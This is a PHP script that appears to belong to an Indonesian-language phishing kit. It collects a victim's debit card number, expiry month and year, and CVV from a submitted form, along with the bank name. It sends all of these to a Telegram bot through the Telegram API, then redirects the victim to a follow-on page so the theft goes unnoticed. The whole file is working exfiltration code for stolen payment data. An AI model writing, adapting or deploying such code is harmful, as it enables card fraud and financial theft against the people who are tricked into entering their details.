<?php
session_start();
include "./telegram.php";

$debit = $_POST['debit'];
$cvv = $_POST['cvv'];
$bulan = $_POST['bulan'];
$tahun = $_POST['tahun'];
$_SESSION['debit'] = $debit;
$_SESSION['bulan'] = $bulan;
$_SESSION['tahun'] = $tahun;
$_SESSION['cvv'] = $cvv;
$penyedia = $_SESSION['penyedia'];


$message = "

KARTU LAIN | ".$nohp."

• Nama Bank  = ".$penyedia."

• Nokartu  = ".$debit."

• Bulan  = ".$bulan."

• Tahun   = ".$tahun."

• CVV  = ".$cvv."



";

function sendMessage($telegram_id, $message, $id_bot) {
    $url = "https://api.telegram.org/bot" . $id_bot . "/sendMessage?parse_mode=markdown&chat_id=" . $telegram_id;
    $url = $url . "&text=" . urlencode($message);
    $ch = curl_init();
    $optArray = array(
        CURLOPT_URL => $url,
        CURLOPT_RETURNTRANSFER => true
    );
    curl_setopt_array($ch, $optArray);
    $result = curl_exec($ch);
    curl_close($ch);
}

sendMessage($telegram_id, $message, $id_bot);
header('Location: ../trielain.html');
?>
